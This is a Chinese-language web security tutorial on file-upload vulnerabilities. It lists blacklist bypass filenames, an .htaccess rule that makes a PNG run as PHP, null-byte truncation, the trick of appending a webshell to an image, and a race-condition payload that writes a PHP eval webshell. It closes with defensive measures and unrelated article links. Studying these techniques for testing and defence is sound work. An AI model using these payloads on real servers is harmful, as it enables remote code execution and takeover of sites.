Web安全-文件上传漏洞-黑白名单及其它绕过思路(附思维导图)

什么是文件上传漏洞

文件上传漏洞是指应用程序未对用户上传的文件进行严格校验(如类型、后缀、内容、权限等),导致攻击者可上传恶意文件(如可执行脚本、木马程序)到服务器,进而通过访问恶意文件获取服务器权限、窃取数据或发起进一步攻击的安全缺陷,其核心风险在于恶意文件被服务器成功解析执行,常见于未做过滤或过滤逻辑存在漏洞的网站上传功能。

1.黑名单绕过

1.空格绕过

如:"1.php "

2.大小写绕过

如:1.phP

3.加点绕过

如:1.php.

4.::$DATA绕过

如:1.php::$DATA

5.复写绕过

如:1.pphphp

6.加一些字符绕过

如:1.phtml,1.pht,1.phps,1.php3,1.php4,1.php5,1.php3p等

6.htaccess绕过

对于apache中间件

<FilesMatch "as.png">setHandler application/x-httpd-php</FilesMatch>

.htaccess 绕过的核心是利用服务器配置缺陷、解析差异或请求篡改,常见思路包括通过文件名 / 路径篡改(如加特殊字符、路径遍历)、HTTP 请求头伪造(如改 X-Forwarded-For)、服务器解析规则漏洞(如 MultiViews 启用、解析优先级问题)、规则逻辑缺陷(如大小写混合绕过正则匹配)绕过后端访问限制,需注意该行为仅适用于合法授权的渗透测试,严禁未授权操作,且需结合目标服务器(Apache、Nginx 等)实际配置调整策略,现代安全防护工具也会拦截常见手段,合规场景下可通过针对性安全检查优化.htaccess 配置

2.白名单绕过

1.%00截断

php版本小于5.3.29

%00为结束符

先上传一个可上传文件,如1.png

利用bp修改url,如:1.php%00

2.0x00截断

0x00会被系统识别为结束符

利用bp修改16进制

先加空格,通过hex找到空格20,将其改为00

3.其它绕过方式

  1. 修改文件幻数绕过内容检测

使用16进制编辑器打开一个图片,在图片后面插入WebShell

或者cmd下执行:copy aaa.jpg/b+test.php/a shell.jpg

2.条件竞争

大量发包绕过文件删除

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

4.文件上传漏洞的防御

1.上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件服务器本身也不会受到影响,因此这一点至关重要。

  1. 对文件后缀的判断中使用白名单的方式。

3.文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。

4.不需要返回文件路径的情况下,随机改写文件名。

相关推荐
会跑的葫芦怪3 小时前
若依Vue 项目多子路径配置
前端·javascript·vue.js
汤愈韬3 小时前
ACL概述、ACL原理、基本ACL应用及配置
网络·网络协议·网络安全
xiaoqi9223 小时前
React Native鸿蒙跨平台如何进行狗狗领养中心,实现基于唯一标识的事件透传方式是移动端列表开发的通用规范
javascript·react native·react.js·ecmascript·harmonyos
jin1233224 小时前
React Native鸿蒙跨平台剧本杀组队消息与快捷入口组件,包含消息列表展示、快捷入口管理、快捷操作触发和消息详情预览四大核心功能
javascript·react native·react.js·ecmascript·harmonyos
烬头88215 小时前
React Native鸿蒙跨平台实现二维码联系人APP(QRCodeContactApp)
javascript·react native·react.js·ecmascript·harmonyos
pas1365 小时前
40-mini-vue 实现三种联合类型
前端·javascript·vue.js
2601_949833396 小时前
flutter_for_openharmony口腔护理app实战+预约管理实现
android·javascript·flutter
军军君017 小时前
Three.js基础功能学习十三:太阳系实例上
前端·javascript·vue.js·学习·3d·前端框架·three
青岑CTF7 小时前
攻防世界-Ics-05-胎教版wp
开发语言·安全·web安全·网络安全·php
xiaoqi9228 小时前
React Native鸿蒙跨平台如何实现分类页面组件通过searchQuery状态变量管理搜索输入,实现了分类的实时过滤功能
javascript·react native·react.js·ecmascript·harmonyos